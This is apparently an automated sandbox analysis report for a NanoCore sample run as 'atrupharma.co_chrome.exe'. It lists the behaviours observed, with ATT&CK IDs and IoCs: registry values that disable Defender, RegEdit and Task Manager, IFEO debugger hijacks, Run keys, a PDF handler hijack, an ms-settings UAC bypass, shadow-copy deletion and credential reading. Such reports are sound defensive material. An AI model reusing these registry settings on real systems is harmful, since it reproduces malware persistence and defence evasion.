nanocore | 66ef7f888d4c90fc41cf6e9a98b2a133aae42256655cac33cd5bbf0fea633918

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	atrupharma.co_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
472	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	atrupharma.co_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	atrupharma.co_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1920	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	atrupharma.co_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	atrupharma.co_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	atrupharma.co_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4672	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	atrupharma.co_chrome.exe
File created	C:\Windows\system32\svchost.exe	atrupharma.co_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	atrupharma.co_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4300	wscript.exe
4648	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	atrupharma.co_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1428	sc.exe
3300	sc.exe
4468	sc.exe
5704	sc.exe
1104	sc.exe
2480	sc.exe
2024	sc.exe
5560	sc.exe
1876	sc.exe
1708	sc.exe
4152	sc.exe
4796	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3372	cmd.exe
5920	cmd.exe
5380	cmd.exe
1480	cmd.exe
2128	cmd.exe
4460	cmd.exe
2040	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5236	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
944	ipconfig.exe
2364	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3384	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1624	vssadmin.exe
620	vssadmin.exe
2176	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2"	atrupharma.co_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134303327930151588"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe\" \"%1\""	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	atrupharma.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	atrupharma.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	atrupharma.co_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\atrupharma.co_chrome.exe"	atrupharma.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	atrupharma.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	atrupharma.co_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	atrupharma.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	atrupharma.co_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	atrupharma.co_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	atrupharma.co_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
240	schtasks.exe
2372	schtasks.exe
2720	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4400	chrome.exe
4400	chrome.exe
472	powershell.exe
472	powershell.exe
472	powershell.exe
1252	WMIC.exe
1252	WMIC.exe
1252	WMIC.exe
1252	WMIC.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
4356	WMIC.exe
4356	WMIC.exe
4356	WMIC.exe
4356	WMIC.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
1272	WMIC.exe
1272	WMIC.exe
1272	WMIC.exe
1272	WMIC.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe
2536	atrupharma.co_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2536	atrupharma.co_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4400	chrome.exe
Token: SeCreatePagefilePrivilege	4400	chrome.exe
Token: SeDebugPrivilege	472	powershell.exe
Token: SeShutdownPrivilege	4400	chrome.exe
Token: SeCreatePagefilePrivilege	4400	chrome.exe
Token: SeShutdownPrivilege	4400	chrome.exe
Token: SeCreatePagefilePrivilege	4400	chrome.exe
Token: SeShutdownPrivilege	4400	chrome.exe
Token: SeCreatePagefilePrivilege	4400	chrome.exe
Token: SeShutdownPrivilege	4400	chrome.exe
Token: SeCreatePagefilePrivilege	4400	chrome.exe
Token: SeBackupPrivilege	5808	vssvc.exe
Token: SeRestorePrivilege	5808	vssvc.exe
Token: SeAuditPrivilege	5808	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1252	WMIC.exe
Token: SeSecurityPrivilege	1252	WMIC.exe
Token: SeTakeOwnershipPrivilege	1252	WMIC.exe
Token: SeLoadDriverPrivilege	1252	WMIC.exe
Token: SeSystemProfilePrivilege	1252	WMIC.exe
Token: SeSystemtimePrivilege	1252	WMIC.exe
Token: SeProfSingleProcessPrivilege	1252	WMIC.exe
Token: SeIncBasePriorityPrivilege	1252	WMIC.exe
Token: SeCreatePagefilePrivilege	1252	WMIC.exe
Token: SeBackupPrivilege	1252	WMIC.exe
Token: SeRestorePrivilege	1252	WMIC.exe
Token: SeShutdownPrivilege	1252	WMIC.exe
Token: SeDebugPrivilege	1252	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1252	WMIC.exe
Token: SeRemoteShutdownPrivilege	1252	WMIC.exe
Token: SeUndockPrivilege	1252	WMIC.exe
Token: SeManageVolumePrivilege	1252	WMIC.exe
Token: 33	1252	WMIC.exe
Token: 34	1252	WMIC.exe
Token: 35	1252	WMIC.exe
Token: 36	1252	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1252	WMIC.exe
Token: SeSecurityPrivilege	1252	WMIC.exe
Token: SeTakeOwnershipPrivilege	1252	WMIC.exe
Token: SeLoadDriverPrivilege	1252	WMIC.exe
Token: SeSystemProfilePrivilege	1252	WMIC.exe
Token: SeSystemtimePrivilege	1252	WMIC.exe
Token: SeProfSingleProcessPrivilege	1252	WMIC.exe
Token: SeIncBasePriorityPrivilege	1252	WMIC.exe
Token: SeCreatePagefilePrivilege	1252	WMIC.exe
Token: SeBackupPrivilege	1252	WMIC.exe
Token: SeRestorePrivilege	1252	WMIC.exe
Token: SeShutdownPrivilege	1252	WMIC.exe
Token: SeDebugPrivilege	1252	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1252	WMIC.exe
Token: SeRemoteShutdownPrivilege	1252	WMIC.exe
Token: SeUndockPrivilege	1252	WMIC.exe
Token: SeManageVolumePrivilege	1252	WMIC.exe
Token: 33	1252	WMIC.exe
Token: 34	1252	WMIC.exe
Token: 35	1252	WMIC.exe
Token: 36	1252	WMIC.exe
Token: SeShutdownPrivilege	4400	chrome.exe
Token: SeCreatePagefilePrivilege	4400	chrome.exe
Token: SeShutdownPrivilege	4400	chrome.exe
Token: SeCreatePagefilePrivilege	4400	chrome.exe
Token: SeIncreaseQuotaPrivilege	472	powershell.exe
Token: SeSecurityPrivilege	472	powershell.exe
Token: SeTakeOwnershipPrivilege	472	powershell.exe
Token: SeLoadDriverPrivilege	472	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe
4400	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2536	atrupharma.co_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 4400	2536	atrupharma.co_chrome.exe	88
PID 4400 wrote to memory of 3628	4400	chrome.exe	89
PID 2536 wrote to memory of 472	2536	atrupharma.co_chrome.exe	90
PID 2536 wrote to memory of 1428	2536	atrupharma.co_chrome.exe	92
PID 2536 wrote to memory of 3300	2536	atrupharma.co_chrome.exe	94
PID 4400 wrote to memory of 5236	4400	chrome.exe	97
PID 4400 wrote to memory of 1248	4400	chrome.exe	98
PID 4400 wrote to memory of 1248	4400	chrome.exe	98
PID 4400 wrote to memory of 4924	4400	chrome.exe	99
PID 4400 wrote to memory of 3364	4400	chrome.exe	100
PID 4400 wrote to memory of 4924	4400	chrome.exe	99
PID 4400 wrote to memory of 3364	4400	chrome.exe	100
PID 2536 wrote to memory of 4468	2536	atrupharma.co_chrome.exe	101
PID 4400 wrote to memory of 1080	4400	chrome.exe	102
PID 4400 wrote to memory of 1080	4400	chrome.exe	102
PID 2536 wrote to memory of 5704	2536	atrupharma.co_chrome.exe	104
PID 2536 wrote to memory of 1876	2536	atrupharma.co_chrome.exe	106
PID 4400 wrote to memory of 4248	4400	chrome.exe	107
PID 4400 wrote to memory of 4248	4400	chrome.exe	107
PID 2536 wrote to memory of 1708	2536	atrupharma.co_chrome.exe	109
PID 2536 wrote to memory of 2480	2536	atrupharma.co_chrome.exe	111
PID 4400 wrote to memory of 2408	4400	chrome.exe	113
PID 4400 wrote to memory of 2408	4400	chrome.exe	113
PID 2536 wrote to memory of 1104	2536	atrupharma.co_chrome.exe	114
PID 2536 wrote to memory of 3380	2536	atrupharma.co_chrome.exe	116
PID 2536 wrote to memory of 2024	2536	atrupharma.co_chrome.exe	117
PID 2536 wrote to memory of 5560	2536	atrupharma.co_chrome.exe	119
